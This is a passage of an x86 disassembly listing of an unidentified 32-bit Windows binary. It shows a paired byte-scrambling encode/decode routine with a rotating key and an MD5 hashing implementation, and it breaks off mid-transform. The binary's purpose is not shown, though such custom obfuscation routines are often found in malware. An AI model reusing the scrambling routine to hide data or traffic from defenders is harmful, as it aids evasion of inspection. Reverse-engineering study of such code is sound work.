; ---------------------------------------------------------------------------

locret_40EF27:				; CODE XREF: sub_40EE73+17j
		leave
		retn
sub_40EE73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF29	proc near		; CODE XREF: sub_40A9CF+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EB98
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EDBD
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF41	proc near		; CODE XREF: sub_40A9CF+380p
					; sub_40D871+7ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EB98
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EE73
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF59	proc near		; CODE XREF: sub_40A9CF+271p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		call	sub_410422
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		and	[ebp+var_8], 0
		jmp	short loc_40EF91
; ---------------------------------------------------------------------------

loc_40EF8A:				; CODE XREF: sub_40EF59+7Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_40EF91:				; CODE XREF: sub_40EF59+2Fj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40EFD9
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EF8A
; ---------------------------------------------------------------------------

loc_40EFD9:				; CODE XREF: sub_40EF59+3Ej
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40EFE9
; ---------------------------------------------------------------------------

loc_40EFE2:				; CODE XREF: sub_40EF59+D4j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax

loc_40EFE9:				; CODE XREF: sub_40EF59+87j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F02F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EFE2
; ---------------------------------------------------------------------------

loc_40F02F:				; CODE XREF: sub_40EF59+94j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax-4], ecx
		mov	eax, [ebp+arg_4]
		add	eax, 4
		leave
		retn
sub_40EF59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F040	proc near		; CODE XREF: sub_40A9CF+366p
					; sub_40D871+792p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	[ebp+arg_0]
		call	sub_416E02	; memmove
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		and	[ebp+var_8], 0
		jmp	short loc_40F07C
; ---------------------------------------------------------------------------

loc_40F075:				; CODE XREF: sub_40F040+82j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_40F07C:				; CODE XREF: sub_40F040+33j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40F0C4
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F075
; ---------------------------------------------------------------------------

loc_40F0C4:				; CODE XREF: sub_40F040+42j
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40F0D4
; ---------------------------------------------------------------------------

loc_40F0CD:				; CODE XREF: sub_40F040+D8j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax

loc_40F0D4:				; CODE XREF: sub_40F040+8Bj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F11A
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F0CD
; ---------------------------------------------------------------------------

loc_40F11A:				; CODE XREF: sub_40F040+98j
		mov	eax, [ebp+arg_4]
		leave
		retn
sub_40F040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F11F	proc near		; CODE XREF: sub_40ECEB+Dp
					; sub_40ED6E+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 67452301h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 98BADCFEh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 10325476h
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+14h], 0
		pop	ebp
		retn
sub_40F11F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F159	proc near		; CODE XREF: sub_40ECEB+1Dp
					; sub_40ED6E+1Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax*8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+10h], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F18E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax

loc_40F18E:				; CODE XREF: sub_40F159+26j
		mov	eax, [ebp+arg_8]
		shr	eax, 1Dh
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		add	ecx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_4]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_40F21C
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		push	40h
		pop	eax
		sub	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F1E8
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	locret_40F26C
; ---------------------------------------------------------------------------

loc_40F1E8:				; CODE XREF: sub_40F159+77j
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]
		mov	[ebp+arg_8], eax

loc_40F21C:				; CODE XREF: sub_40F159+59j
					; sub_40F159+FCj
		cmp	[ebp+arg_8], 40h
		jb	short loc_40F257
		push	40h
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, 40h
		mov	[ebp+arg_8], eax
		jmp	short loc_40F21C
; ---------------------------------------------------------------------------

loc_40F257:				; CODE XREF: sub_40F159+C7j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch

locret_40F26C:				; CODE XREF: sub_40F159+8Aj
		leave
		retn
sub_40F159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F26E	proc near		; CODE XREF: sub_40ECEB+2Ep
					; sub_40ED6E+2Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+10h]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	80h
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	3Fh
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 8
		jnb	short loc_40F2E1
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	38h
		push	0
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_40F2F5
; ---------------------------------------------------------------------------

loc_40F2E1:				; CODE XREF: sub_40F26E+3Bj
		mov	eax, [ebp+var_8]
		sub	eax, 8
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch

loc_40F2F5:				; CODE XREF: sub_40F26E+71j
		push	8
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, 50h
		push	eax
		call	sub_40F33F
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	10h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F33F
		add	esp, 0Ch
		push	4
		push	0
		push	[ebp+arg_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		leave
		retn
sub_40F26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F33F	proc near		; CODE XREF: sub_40F26E+97p
					; sub_40F26E+B8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_40F35E
; ---------------------------------------------------------------------------

loc_40F34E:				; CODE XREF: sub_40F33F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax

loc_40F35E:				; CODE XREF: sub_40F33F+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_40F3CC
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 8
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+1], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 10h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+2], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 18h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+3], al
		jmp	short loc_40F34E
; ---------------------------------------------------------------------------

locret_40F3CC:				; CODE XREF: sub_40F33F+25j
		leave
		retn
sub_40F33F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3CE	proc near		; CODE XREF: sub_40F159+AAp
					; sub_40F159+E3p ...

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_410244
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-28955B88h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-173848AAh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+242070DBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3E423112h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0A83F051h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4787C62Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-57CFB9EDh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-2B96AFFh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+698098D8h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-74BB0851h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0A44Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-76A32842h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6B901122h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-2678E6Dh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5986BC72h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+49B40821h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-9E1DA9Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3FBF4CC0h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+265E5A51h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-16493856h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-29D0EFA3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+2441453h]
		mov	[ebp+var_10], eax
